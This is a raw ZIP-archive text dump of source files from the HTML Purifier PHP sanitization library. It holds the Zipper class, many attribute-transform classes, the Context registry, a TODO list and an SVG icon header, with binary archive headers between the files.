* Nota bene: the current class gets confused if you try to store NULLs
* in the list.
*/
class HTMLPurifier_Zipper
{
public $front, $back;
public function __construct($front, $back) {
$this->front = $front;
$this->back = $back;
}
/**
* Creates a zipper from an array, with a hole in the
* 0-index position.
* @param Array to zipper-ify.
* @return Tuple of zipper and element of first position.
*/
static public function fromArray($array) {
$z = new self(array(), array_reverse($array));
$t = $z->delete(); // delete the "dummy hole"
return array($z, $t);
}
/**
* Convert zipper back into a normal array, optionally filling in
* the hole with a value. (Usually you should supply a $t, unless you
* are at the end of the array.)
*/
public function toArray($t = NULL) {
$a = $this->front;
if ($t !== NULL) $a[] = $t;
for ($i = count($this->back)-1; $i >= 0; $i--) {
$a[] = $this->back[$i];
}
return $a;
}
/**
* Move hole to the next element.
* @param $t Element to fill hole with
* @return Original contents of new hole.
*/
public function next($t) {
if ($t !== NULL) array_push($this->front, $t);
return empty($this->back) ? NULL : array_pop($this->back);
}
/**
* Iterated hole advancement.
* @param $t Element to fill hole with
* @param $i How many forward to advance hole
* @return Original contents of new hole, i away
*/
public function advance($t, $n) {
for ($i = 0; $i < $n; $i++) {
$t = $this->next($t);
}
return $t;
}
/**
* Move hole to the previous element
* @param $t Element to fill hole with
* @return Original contents of new hole.
*/
public function prev($t) {
if ($t !== NULL) array_push($this->back, $t);
return empty($this->front) ? NULL : array_pop($this->front);
}
/**
* Delete contents of current hole, shifting hole to
* next element.
* @return Original contents of new hole.
*/
public function delete() {
return empty($this->back) ? NULL : array_pop($this->back);
}
/**
* Returns true if we are at the end of the list.
* @return bool
*/
public function done() {
return empty($this->back);
}
/**
* Insert element before hole.
* @param Element to insert
*/
public function insertBefore($t) {
if ($t !== NULL) array_push($this->front, $t);
}
/**
* Insert element after hole.
* @param Element to insert
*/
public function insertAfter($t) {
if ($t !== NULL) array_push($this->back, $t);
}
/**
* Splice in multiple elements at hole. Functional specification
* in terms of array_splice:
*
* $arr1 = $arr;
* $old1 = array_splice($arr1, $i, $delete, $replacement);
*
* list($z, $t) = HTMLPurifier_Zipper::fromArray($arr);
* $t = $z->advance($t, $i);
* list($old2, $t) = $z->splice($t, $delete, $replacement);
* $arr2 = $z->toArray($t);
*
* assert($old1 === $old2);
* assert($arr1 === $arr2);
*
* NB: the absolute index location after this operation is
* *unchanged!*
*
* @param Current contents of hole.
*/
public function splice($t, $delete, $replacement) {
// delete
$old = array();
$r = $t;
for ($i = $delete; $i > 0; $i--) {
$old[] = $r;
$r = $this->delete();
}
// insert
for ($i = count($replacement)-1; $i >= 0; $i--) {
$this->insertAfter($r);
$r = $replacement[$i];
}
return array($old, $r);
}
}
PK j�$Zd��s < htmlpurifier/library/HTMLPurifier/AttrTransform/Nofollow.phpnu �[��� <?php
// must be called POST validation
/**
* Adds rel="nofollow" to all outbound links. This transform is
* only attached if Attr.Nofollow is TRUE.
*/
class HTMLPurifier_AttrTransform_Nofollow extends HTMLPurifier_AttrTransform
{
/**
* @type HTMLPurifier_URIParser
*/
private $parser;
public function __construct()
{
$this->parser = new HTMLPurifier_URIParser();
}
/**
* @param array $attr
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return array
*/
public function transform($attr, $config, $context)
{
if (!isset($attr['href'])) {
return $attr;
}
// XXX Kind of inefficient
$url = $this->parser->parse($attr['href']);
$scheme = $url->getSchemeObj($config, $context);
if ($scheme->browsable && !$url->isLocal($config, $context)) {
if (isset($attr['rel'])) {
$rels = explode(' ', $attr['rel']);
if (!in_array('nofollow', $rels)) {
$rels[] = 'nofollow';
}
$attr['rel'] = implode(' ', $rels);
} else {
$attr['rel'] = 'nofollow';
}
}
return $attr;
}
}
// vim: et sw=4 sts=4
PK j�$Z
��T� � > htmlpurifier/library/HTMLPurifier/AttrTransform/Background.phpnu �[��� <?php
/**
* Pre-transform that changes proprietary background attribute to CSS.
*/
class HTMLPurifier_AttrTransform_Background extends HTMLPurifier_AttrTransform
{
/**
* @param array $attr
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return array
*/
public function transform($attr, $config, $context)
{
if (!isset($attr['background'])) {
return $attr;
}
$background = $this->confiscateAttr($attr, 'background');
// some validation should happen here
$this->prependCSS($attr, "background-image:url($background);");
return $attr;
}
}
// vim: et sw=4 sts=4
PK j�$Zrd;( : htmlpurifier/library/HTMLPurifier/AttrTransform/BdoDir.phpnu �[��� <?php
// this MUST be placed in post, as it assumes that any value in dir is valid
/**
* Post-trasnform that ensures that bdo tags have the dir attribute set.
*/
class HTMLPurifier_AttrTransform_BdoDir extends HTMLPurifier_AttrTransform
{
/**
* @param array $attr
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return array
*/
public function transform($attr, $config, $context)
{
if (isset($attr['dir'])) {
return $attr;
}
$attr['dir'] = $config->get('Attr.DefaultTextDir');
return $attr;
}
}
// vim: et sw=4 sts=4
PK j�$Z��X X 8 htmlpurifier/library/HTMLPurifier/AttrTransform/Lang.phpnu �[��� <?php
/**
* Post-transform that copies lang's value to xml:lang (and vice-versa)
* @note Theoretically speaking, this could be a pre-transform, but putting
* post is more efficient.
*/
class HTMLPurifier_AttrTransform_Lang extends HTMLPurifier_AttrTransform
{
/**
* @param array $attr
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return array
*/
public function transform($attr, $config, $context)
{
$lang = isset($attr['lang']) ? $attr['lang'] : false;
$xml_lang = isset($attr['xml:lang']) ? $attr['xml:lang'] : false;
if ($lang !== false && $xml_lang === false) {
$attr['xml:lang'] = $lang;
} elseif ($xml_lang !== false) {
$attr['lang'] = $xml_lang;
}
return $attr;
}
}
// vim: et sw=4 sts=4
PK j�$Zٽ�X D htmlpurifier/library/HTMLPurifier/AttrTransform/TargetNoreferrer.phpnu �[��� <?php
// must be called POST validation
/**
* Adds rel="noreferrer" to any links which target a different window
* than the current one. This is used to prevent malicious websites
* from silently replacing the original window, which could be used
* to do phishing.
* This transform is controlled by %HTML.TargetNoreferrer.
*/
class HTMLPurifier_AttrTransform_TargetNoreferrer extends HTMLPurifier_AttrTransform
{
/**
* @param array $attr
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return array
*/
public function transform($attr, $config, $context)
{
if (isset($attr['rel'])) {
$rels = explode(' ', $attr['rel']);
} else {
$rels = array();
}
if (isset($attr['target']) && !in_array('noreferrer', $rels)) {
$rels[] = 'noreferrer';
}
if (!empty($rels) || isset($attr['rel'])) {
$attr['rel'] = implode(' ', $rels);
}
return $attr;
}
}
PK j�$Z>��W W < htmlpurifier/library/HTMLPurifier/AttrTransform/Textarea.phpnu �[��� <?php
/**
* Sets height/width defaults for <textarea>
*/
class HTMLPurifier_AttrTransform_Textarea extends HTMLPurifier_AttrTransform
{
/**
* @param array $attr
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return array
*/
public function transform($attr, $config, $context)
{
// Calculated from Firefox
if (!isset($attr['cols'])) {
$attr['cols'] = '22';
}
if (!isset($attr['rows'])) {
$attr['rows'] = '3';
}
return $attr;
}
}
// vim: et sw=4 sts=4
PK j�$Zd�ر( ( 8 htmlpurifier/library/HTMLPurifier/AttrTransform/Name.phpnu �[��� <?php
/**
* Pre-transform that changes deprecated name attribute to ID if necessary
*/
class HTMLPurifier_AttrTransform_Name extends HTMLPurifier_AttrTransform
{
/**
* @param array $attr
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return array
*/
public function transform($attr, $config, $context)
{
// Abort early if we're using relaxed definition of name
if ($config->get('HTML.Attr.Name.UseCDATA')) {
return $attr;
}
if (!isset($attr['name'])) {
return $attr;
}
$id = $this->confiscateAttr($attr, 'name');
if (isset($attr['id'])) {
return $attr;
}
$attr['id'] = $id;
return $attr;
}
}
// vim: et sw=4 sts=4
PK j�$Z$�2? ? = htmlpurifier/library/HTMLPurifier/AttrTransform/BoolToCSS.phpnu �[��� <?php
/**
* Pre-transform that changes converts a boolean attribute to fixed CSS
*/
class HTMLPurifier_AttrTransform_BoolToCSS extends HTMLPurifier_AttrTransform
{
/**
* Name of boolean attribute that is trigger.
* @type string
*/
protected $attr;
/**
* CSS declarations to add to style, needs trailing semicolon.
* @type string
*/
protected $css;
/**
* @param string $attr attribute name to convert from
* @param string $css CSS declarations to add to style (needs semicolon)
*/
public function __construct($attr, $css)
{
$this->attr = $attr;
$this->css = $css;
}
/**
* @param array $attr
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return array
*/
public function transform($attr, $config, $context)
{
if (!isset($attr[$this->attr])) {
return $attr;
}
unset($attr[$this->attr]);
$this->prependCSS($attr, $this->css);
return $attr;
}
}
// vim: et sw=4 sts=4
PK j�$Z��� � = htmlpurifier/library/HTMLPurifier/AttrTransform/SafeParam.phpnu �[��� <?php
/**
* Validates name/value pairs in param tags to be used in safe objects. This
* will only allow name values it recognizes, and pre-fill certain attributes
* with required values.
*
* @note
* This class only supports Flash. In the future, Quicktime support
* may be added.
*
* @warning
* This class expects an injector to add the necessary parameters tags.
*/
class HTMLPurifier_AttrTransform_SafeParam extends HTMLPurifier_AttrTransform
{
/**
* @type string
*/
public $name = "SafeParam";
/**
* @type HTMLPurifier_AttrDef_URI
*/
private $uri;
public function __construct()
{
$this->uri = new HTMLPurifier_AttrDef_URI(true); // embedded
$this->wmode = new HTMLPurifier_AttrDef_Enum(array('window', 'opaque', 'transparent'));
}
/**
* @param array $attr
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return array
*/
public function transform($attr, $config, $context)
{
// If we add support for other objects, we'll need to alter the
// transforms.
switch ($attr['name']) {
// application/x-shockwave-flash
// Keep this synchronized with Injector/SafeObject.php
case 'allowScriptAccess':
$attr['value'] = 'never';
break;
case 'allowNetworking':
$attr['value'] = 'internal';
break;
case 'allowFullScreen':
if ($config->get('HTML.FlashAllowFullScreen')) {
$attr['value'] = ($attr['value'] == 'true') ? 'true' : 'false';
} else {
$attr['value'] = 'false';
}
break;
case 'wmode':
$attr['value'] = $this->wmode->validate($attr['value'], $config, $context);
break;
case 'movie':
case 'src':
$attr['name'] = "movie";
$attr['value'] = $this->uri->validate($attr['value'], $config, $context);
break;
case 'flashvars':
// we're going to allow arbitrary inputs to the SWF, on
// the reasoning that it could only hack the SWF, not us.
break;
// add other cases to support other param name/value pairs
default:
$attr['name'] = $attr['value'] = null;
}
return $attr;
}
}
// vim: et sw=4 sts=4
PK j�$Z'��m: : = htmlpurifier/library/HTMLPurifier/AttrTransform/SafeEmbed.phpnu �[��� <?php
class HTMLPurifier_AttrTransform_SafeEmbed extends HTMLPurifier_AttrTransform
{
/**
* @type string
*/
public $name = "SafeEmbed";
/**
* @param array $attr
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return array
*/
public function transform($attr, $config, $context)
{
$attr['allowscriptaccess'] = 'never';
$attr['allownetworking'] = 'internal';
$attr['type'] = 'application/x-shockwave-flash';
return $attr;
}
}
// vim: et sw=4 sts=4
PK j�$Z� )A� � ; htmlpurifier/library/HTMLPurifier/AttrTransform/BgColor.phpnu �[��� <?php
/**
* Pre-transform that changes deprecated bgcolor attribute to CSS.
*/
class HTMLPurifier_AttrTransform_BgColor extends HTMLPurifier_AttrTransform
{
/**
* @param array $attr
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return array
*/
public function transform($attr, $config, $context)
{
if (!isset($attr['bgcolor'])) {
return $attr;
}
$bgcolor = $this->confiscateAttr($attr, 'bgcolor');
// some validation should happen here
$this->prependCSS($attr, "background-color:$bgcolor;");
return $attr;
}
}
// vim: et sw=4 sts=4
PK j�$Z���U@ @ 9 htmlpurifier/library/HTMLPurifier/AttrTransform/Input.phpnu �[��� <?php
/**
* Performs miscellaneous cross attribute validation and filtering for
* input elements. This is meant to be a post-transform.
*/
class HTMLPurifier_AttrTransform_Input extends HTMLPurifier_AttrTransform
{
/**
* @type HTMLPurifier_AttrDef_HTML_Pixels
*/
protected $pixels;
public function __construct()
{
$this->pixels = new HTMLPurifier_AttrDef_HTML_Pixels();
}
/**
* @param array $attr
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return array
*/
public function transform($attr, $config, $context)
{
if (!isset($attr['type'])) {
$t = 'text';
} else {
$t = strtolower($attr['type']);
}
if (isset($attr['checked']) && $t !== 'radio' && $t !== 'checkbox') {
unset($attr['checked']);
}
if (isset($attr['maxlength']) && $t !== 'text' && $t !== 'password') {
unset($attr['maxlength']);
}
if (isset($attr['size']) && $t !== 'text' && $t !== 'password') {
$result = $this->pixels->validate($attr['size'], $config, $context);
if ($result === false) {
unset($attr['size']);
} else {
$attr['size'] = $result;
}
}
if (isset($attr['src']) && $t !== 'image') {
unset($attr['src']);
}
if (!isset($attr['value']) && ($t === 'radio' || $t === 'checkbox')) {
$attr['value'] = '';
}
return $attr;
}
}
// vim: et sw=4 sts=4
PK j�$Z��g�3 3 ? htmlpurifier/library/HTMLPurifier/AttrTransform/ImgRequired.phpnu �[��� <?php
// must be called POST validation
/**
* Transform that supplies default values for the src and alt attributes
* in img tags, as well as prevents the img tag from being removed
* because of a missing alt tag. This needs to be registered as both
* a pre and post attribute transform.
*/
class HTMLPurifier_AttrTransform_ImgRequired extends HTMLPurifier_AttrTransform
{
/**
* @param array $attr
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return array
*/
public function transform($attr, $config, $context)
{
$src = true;
if (!isset($attr['src'])) {
if ($config->get('Core.RemoveInvalidImg')) {
return $attr;
}
$attr['src'] = $config->get('Attr.DefaultInvalidImage');
$src = false;
}
if (!isset($attr['alt'])) {
if ($src) {
$alt = $config->get('Attr.DefaultImageAlt');
if ($alt === null) {
$attr['alt'] = basename($attr['src']);
} else {
$attr['alt'] = $alt;
}
} else {
$attr['alt'] = $config->get('Attr.DefaultInvalidImageAlt');
}
}
return $attr;
}
}
// vim: et sw=4 sts=4
PK j�$Z����� � : htmlpurifier/library/HTMLPurifier/AttrTransform/Length.phpnu �[��� <?php
/**
* Class for handling width/height length attribute transformations to CSS
*/
class HTMLPurifier_AttrTransform_Length extends HTMLPurifier_AttrTransform
{
/**
* @type string
*/
protected $name;
/**
* @type string
*/
protected $cssName;
public function __construct($name, $css_name = null)
{
$this->name = $name;
$this->cssName = $css_name ? $css_name : $name;
}
/**
* @param array $attr
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return array
*/
public function transform($attr, $config, $context)
{
if (!isset($attr[$this->name])) {
return $attr;
}
$length = $this->confiscateAttr($attr, $this->name);
if (ctype_digit($length)) {
$length .= 'px';
}
$this->prependCSS($attr, $this->cssName . ":$length;");
return $attr;
}
}
// vim: et sw=4 sts=4
PK j�$Z�J� < htmlpurifier/library/HTMLPurifier/AttrTransform/NameSync.phpnu �[��� <?php
/**
* Post-transform that performs validation to the name attribute; if
* it is present with an equivalent id attribute, it is passed through;
* otherwise validation is performed.
*/
class HTMLPurifier_AttrTransform_NameSync extends HTMLPurifier_AttrTransform
{
public function __construct()
{
$this->idDef = new HTMLPurifier_AttrDef_HTML_ID();
}
/**
* @param array $attr
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return array
*/
public function transform($attr, $config, $context)
{
if (!isset($attr['name'])) {
return $attr;
}
$name = $attr['name'];
if (isset($attr['id']) && $attr['id'] === $name) {
return $attr;
}
$result = $this->idDef->validate($name, $config, $context);
if ($result === false) {
unset($attr['name']);
} else {
$attr['name'] = $result;
}
return $attr;
}
}
// vim: et sw=4 sts=4
PK j�$ZI� �� � = htmlpurifier/library/HTMLPurifier/AttrTransform/EnumToCSS.phpnu �[��� <?php
/**
* Generic pre-transform that converts an attribute with a fixed number of
* values (enumerated) to CSS.
*/
class HTMLPurifier_AttrTransform_EnumToCSS extends HTMLPurifier_AttrTransform
{
/**
* Name of attribute to transform from.
* @type string
*/
protected $attr;
/**
* Lookup array of attribute values to CSS.
* @type array
*/
protected $enumToCSS = array();
/**
* Case sensitivity of the matching.
* @type bool
* @warning Currently can only be guaranteed to work with ASCII
* values.
*/
protected $caseSensitive = false;
/**
* @param string $attr Attribute name to transform from
* @param array $enum_to_css Lookup array of attribute values to CSS
* @param bool $case_sensitive Case sensitivity indicator, default false
*/
public function __construct($attr, $enum_to_css, $case_sensitive = false)
{
$this->attr = $attr;
$this->enumToCSS = $enum_to_css;
$this->caseSensitive = (bool)$case_sensitive;
}
/**
* @param array $attr
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return array
*/
public function transform($attr, $config, $context)
{
if (!isset($attr[$this->attr])) {
return $attr;
}
$value = trim($attr[$this->attr]);
unset($attr[$this->attr]);
if (!$this->caseSensitive) {
$value = strtolower($value);
}
if (!isset($this->enumToCSS[$value])) {
return $attr;
}
$this->prependCSS($attr, $this->enumToCSS[$value]);
return $attr;
}
}
// vim: et sw=4 sts=4
PK j�$Z�>^�a a > htmlpurifier/library/HTMLPurifier/AttrTransform/SafeObject.phpnu �[��� <?php
/**
* Writes default type for all objects. Currently only supports flash.
*/
class HTMLPurifier_AttrTransform_SafeObject extends HTMLPurifier_AttrTransform
{
/**
* @type string
*/
public $name = "SafeObject";
/**
* @param array $attr
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return array
*/
public function transform($attr, $config, $context)
{
if (!isset($attr['type'])) {
$attr['type'] = 'application/x-shockwave-flash';
}
return $attr;
}
}
// vim: et sw=4 sts=4
PK j�$Z���s� � B htmlpurifier/library/HTMLPurifier/AttrTransform/TargetNoopener.phpnu �[��� <?php
// must be called POST validation
/**
* Adds rel="noopener" to any links which target a different window
* than the current one. This is used to prevent malicious websites
* from silently replacing the original window, which could be used
* to do phishing.
* This transform is controlled by %HTML.TargetNoopener.
*/
class HTMLPurifier_AttrTransform_TargetNoopener extends HTMLPurifier_AttrTransform
{
/**
* @param array $attr
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return array
*/
public function transform($attr, $config, $context)
{
if (isset($attr['rel'])) {
$rels = explode(' ', $attr['rel']);
} else {
$rels = array();
}
if (isset($attr['target']) && !in_array('noopener', $rels)) {
$rels[] = 'noopener';
}
if (!empty($rels) || isset($attr['rel'])) {
$attr['rel'] = implode(' ', $rels);
}
return $attr;
}
}
PK j�$ZF]� B htmlpurifier/library/HTMLPurifier/AttrTransform/ScriptRequired.phpnu �[��� <?php
/**
* Implements required attribute stipulation for <script>
*/
class HTMLPurifier_AttrTransform_ScriptRequired extends HTMLPurifier_AttrTransform
{
/**
* @param array $attr
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return array
*/
public function transform($attr, $config, $context)
{
if (!isset($attr['type'])) {
$attr['type'] = 'text/javascript';
}
return $attr;
}
}
// vim: et sw=4 sts=4
PK j�$ZdEŎ� � : htmlpurifier/library/HTMLPurifier/AttrTransform/Border.phpnu �[��� <?php
/**
* Pre-transform that changes deprecated border attribute to CSS.
*/
class HTMLPurifier_AttrTransform_Border extends HTMLPurifier_AttrTransform
{
/**
* @param array $attr
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return array
*/
public function transform($attr, $config, $context)
{
if (!isset($attr['border'])) {
return $attr;
}
$border_width = $this->confiscateAttr($attr, 'border');
// some validation should happen here
$this->prependCSS($attr, "border:{$border_width}px solid;");
return $attr;
}
}
// vim: et sw=4 sts=4
PK j�$ZSI�D D ? htmlpurifier/library/HTMLPurifier/AttrTransform/TargetBlank.phpnu �[��� <?php
// must be called POST validation
/**
* Adds target="blank" to all outbound links. This transform is
* only attached if Attr.TargetBlank is TRUE. This works regardless
* of whether or not Attr.AllowedFrameTargets
*/
class HTMLPurifier_AttrTransform_TargetBlank extends HTMLPurifier_AttrTransform
{
/**
* @type HTMLPurifier_URIParser
*/
private $parser;
public function __construct()
{
$this->parser = new HTMLPurifier_URIParser();
}
/**
* @param array $attr
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return array
*/
public function transform($attr, $config, $context)
{
if (!isset($attr['href'])) {
return $attr;
}
// XXX Kind of inefficient
$url = $this->parser->parse($attr['href']);
$scheme = $url->getSchemeObj($config, $context);
if ($scheme->browsable && !$url->isBenign($config, $context)) {
$attr['target'] = '_blank';
}
return $attr;
}
}
// vim: et sw=4 sts=4
PK j�$Z�#v v < htmlpurifier/library/HTMLPurifier/AttrTransform/ImgSpace.phpnu �[��� <?php
/**
* Pre-transform that changes deprecated hspace and vspace attributes to CSS
*/
class HTMLPurifier_AttrTransform_ImgSpace extends HTMLPurifier_AttrTransform
{
/**
* @type string
*/
protected $attr;
/**
* @type array
*/
protected $css = array(
'hspace' => array('left', 'right'),
'vspace' => array('top', 'bottom')
);
/**
* @param string $attr
*/
public function __construct($attr)
{
$this->attr = $attr;
if (!isset($this->css[$attr])) {
trigger_error(htmlspecialchars($attr) . ' is not valid space attribute');
}
}
/**
* @param array $attr
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return array
*/
public function transform($attr, $config, $context)
{
if (!isset($attr[$this->attr])) {
return $attr;
}
$width = $this->confiscateAttr($attr, $this->attr);
// some validation could happen here
if (!isset($this->css[$this->attr])) {
return $attr;
}
$style = '';
foreach ($this->css[$this->attr] as $suffix) {
$property = "margin-$suffix";
$style .= "$property:{$width}px;";
}
$this->prependCSS($attr, $style);
return $attr;
}
}
// vim: et sw=4 sts=4
PK j�$Z����J
J
- htmlpurifier/library/HTMLPurifier/Context.phpnu �[��� <?php
/**
* Registry object that contains information about the current context.
* @warning Is a bit buggy when variables are set to null: it thinks
* they don't exist! So use false instead, please.
* @note Since the variables Context deals with may not be objects,
* references are very important here! Do not remove!
*/
class HTMLPurifier_Context
{
/**
* Private array that stores the references.
* @type array
*/
private $_storage = array();
/**
* Registers a variable into the context.
* @param string $name String name
* @param mixed $ref Reference to variable to be registered
*/
public function register($name, &$ref)
{
if (array_key_exists($name, $this->_storage)) {
trigger_error(
"Name $name produces collision, cannot re-register",
E_USER_ERROR
);
return;
}
$this->_storage[$name] =& $ref;
}
/**
* Retrieves a variable reference from the context.
* @param string $name String name
* @param bool $ignore_error Boolean whether or not to ignore error
* @return mixed
*/
public function &get($name, $ignore_error = false)
{
if (!array_key_exists($name, $this->_storage)) {
if (!$ignore_error) {
trigger_error(
"Attempted to retrieve non-existent variable $name",
E_USER_ERROR
);
}
$var = null; // so we can return by reference
return $var;
}
return $this->_storage[$name];
}
/**
* Destroys a variable in the context.
* @param string $name String name
*/
public function destroy($name)
{
if (!array_key_exists($name, $this->_storage)) {
trigger_error(
"Attempted to destroy non-existent variable $name",
E_USER_ERROR
);
return;
}
unset($this->_storage[$name]);
}
/**
* Checks whether or not the variable exists.
* @param string $name String name
* @return bool
*/
public function exists($name)
{
return array_key_exists($name, $this->_storage);
}
/**
* Loads a series of variables from an associative array
* @param array $context_array Assoc array of variables to load
*/
public function loadArray($context_array)
{
foreach ($context_array as $key => $discard) {
$this->register($key, $context_array[$key]);
}
}
}
// vim: et sw=4 sts=4
PK j�$Z��W�� � htmlpurifier/TODOnu �[���
TODO List
= KEY ====================
# Flagship
- Regular
? Maybe I'll Do It
==========================
If no interest is expressed for a feature that may require a considerable
amount of effort to implement, it may get endlessly delayed. Do not be
afraid to cast your vote for the next feature to be implemented!
Things to do as soon as possible:
- http://htmlpurifier.org/phorum/read.php?3,5560,6307#msg-6307
- Think about allowing explicit order of operations hooks for transforms
- Fix "<.<" bug (trailing < is removed if not EOD)
- Build in better internal state dumps and debugging tools for remote
debugging
- Allowed/Allowed* have strange interactions when both set
? Transform lone embeds into object tags
- Deprecated config options that emit warnings when you set them (with'
a way of muting the warning if you really want to)
- Make HTML.Trusted work with Output.FlashCompat
- HTML.Trusted and HTML.SafeObject have funny interaction; general
problem is what to do when a module "supersedes" another
(see also tables and basic tables.) This is a little dicier
because HTML.SafeObject has some extra functionality that
trusted might find useful. See http://htmlpurifier.org/phorum/read.php?3,5762,6100
FUTURE VERSIONS
---------------
4.9 release [OMG CONFIG PONIES]
! Fix Printer. It's from the old days when we didn't have decent XML classes
! Factor demo.php into a set of Printer classes, and then create a stub
file for users here (inside the actual HTML Purifier library)
- Fix error handling with form construction
- Do encoding validation in Printers, or at least, where user data comes in
- Config: Add examples to everything (make built-in which also automatically
gives output)
- Add "register" field to config schemas to eliminate dependence on
naming conventions (try to remember why we ultimately decided on tihs)
5.0 release [HTML 5]
# Swap out code to use html5lib tokenizer and tree-builder
! Allow turning off of FixNesting and required attribute insertion
5.1 release [It's All About Trust] (floating)
# Implement untrusted, dangerous elements/attributes
# Implement IDREF support (harder than it seems, since you cannot have
IDREFs to non-existent IDs)
- Implement <area> (client and server side image maps are blocking
on IDREF support)
# Frameset XHTML 1.0 and HTML 4.01 doctypes
- Figure out how to simultaneously set %CSS.Trusted and %HTML.Trusted (?)
5.2 release [Error'ed]
# Error logging for filtering/cleanup procedures
# Additional support for poorly written HTML
- Microsoft Word HTML cleaning (i.e. MsoNormal, but research essential!)
- Friendly strict handling of <address> (block -> <br>)
- XSS-attempt detection--certain errors are flagged XSS-like
- Append something to duplicate IDs so they're still usable (impl. note: the
dupe detector would also need to detect the suffix as well)
6.0 release [Beyond HTML]
# Legit token based CSS parsing (will require revamping almost every
AttrDef class). Probably will use CSSTidy
# More control over allowed CSS properties using a modularization
# IRI support (this includes IDN)
- Standardize token armor for all areas of processing
7.0 release [To XML and Beyond]
- Extended HTML capabilities based on namespacing and tag transforms (COMPLEX)
- Hooks for adding custom processors to custom namespaced tags and
attributes, offer default implementation
- Lots of documentation and samples
Ongoing
- More refactoring to take advantage of PHP5's facilities
- Refactor unit tests into lots of test methods
- Plugins for major CMSes (COMPLEX)
- phpBB
- Also, a FAQ for extension writers with HTML Purifier
AutoFormat
- Smileys
- Syntax highlighting (with GeSHi) with <pre> and possibly <?php
- Look at http://drupal.org/project/Modules/category/63 for ideas
Neat feature related
! Support exporting configuration, so users can easily tweak settings
in the demo, and then copy-paste into their own setup
- Advanced URI filtering schemes (see docs/proposal-new-directives.txt)
- Allow scoped="scoped" attribute in <style> tags; may be troublesome
because regular CSS has no way of uniquely identifying nodes, so we'd
have to generate IDs
- Explain how to use HTML Purifier in non-PHP languages / create
a simple command line stub (or complicated?)
- Fixes for Firefox's inability to handle COL alignment props (Bug 915)
- Automatically add non-breaking spaces to empty table cells when
empty-cells:show is applied to have compatibility with Internet Explorer
- Table of Contents generation (XHTML Compiler might be reusable). May also
be out-of-band information.
- Full set of color keywords. Also, a way to add onto them without
finalizing the configuration object.
- Write a var_export and memcached DefinitionCache - Denis
- Built-in support for target="_blank" on all external links
- Convert RTL/LTR override characters to <bdo> tags, or vice versa on demand.
Also, enable disabling of directionality
? Externalize inline CSS to promote clean HTML, proposed by Sander Tekelenburg
? Remove redundant tags, ex. <u><u>Underlined</u></u>. Implementation notes:
1. Analyzing which tags to remove duplicants
2. Ensure attributes are merged into the parent tag
3. Extend the tag exclusion system to specify whether or not the
contents should be dropped or not (currently, there's code that could do
something like this if it didn't drop the inner text too.)
? Make AutoParagraph also support paragraph-izing double <br> tags, and not
just double newlines. This is kind of tough to do in the current framework,
though, and might be reasonably approximated by search replacing double <br>s
with newlines before running it through HTML Purifier.
Maintenance related (slightly boring)
# CHMOD install script for PEAR installs
! Factor out command line parser into its own class, and unit test it
- Reduce size of internal data-structures (esp. HTMLDefinition)
- Allow merging configurations. Thus,
a -> b -> default
c -> d -> default
becomes
a -> b -> c -> d -> default
Maybe allow more fine-grained tuning of this behavior. Alternatively,
encourage people to use short plist depths before building them up.
- Time PHPT tests
ChildDef related (very boring)
- Abstract ChildDef_BlockQuote to work with all elements that only
allow blocks in them, required or optional
- Implement lenient <ruby> child validation
Wontfix
- Non-lossy smart alternate character encoding transformations (unless
patch provided)
- Pretty-printing HTML: users can use Tidy on the output on entire page
- Native content compression, whitespace stripping: use gzip if this is
really important
vim: et sw=4 sts=4
PK j�$Z�� ZY Y htmlpurifier/WYSIWYGnu �[���
WYSIWYG - What You See Is What You Get
HTML Purifier: A Pretty Good Fit for TinyMCE and FCKeditor
Javascript-based WYSIWYG editors, simply stated, are quite amazing. But I've
always been wary about using them due to security issues: they handle the
client-side magic, but once you've been served a piping hot load of unfiltered
HTML, what should be done then? In some situations, you can serve it uncleaned,
since you only offer these facilities to trusted(?) authors.
Unfortunantely, for blog comments and anonymous input, BBCode, Textile and
other markup languages still reign supreme. Put simply: filtering HTML is
hard work, and these WYSIWYG authors don't offer anything to alleviate that
trouble. Therein lies the solution:
HTML Purifier is perfect for filtering pure-HTML input from WYSIWYG editors.
Enough said.
vim: et sw=4 sts=4
PK j�$Z�}�� � htmlpurifier/art/icon-32x32.svgnu �[��� <?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!-- Created with Inkscape (http://www.inkscape.org/) -->
<svg
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:cc="http://web.resource.org/cc/"
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns:svg="http://www.w3.org/2000/svg"
xmlns="http://www.w3.org/2000/svg"
xmlns:sodipodi="http://inkscape.sourceforge.net/DTD/sodipodi-0.dtd"
xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
width="16.000000px"
height="16.000000px"
id="svg2"
sodipodi:version="0.32"
inkscape:version="0.42.2"
sodipodi:docbase="C:\DOCUME~1\Edward\MYDOCU~1\MYWEBS~1\HTMLPU~1\art"
sodipodi:docname="icon-32x32.svg"
inkscape:export-filename="C:\Documents and Settings\Edward\My Documents\My Webs\htmlpurifier\art\icon-16x16.png"
inkscape:export-xdpi="90.000000"
inkscape:export-ydpi="90.000000">
<defs
id="defs4">
<linearGradient
id="linearGradient5003">
<stop
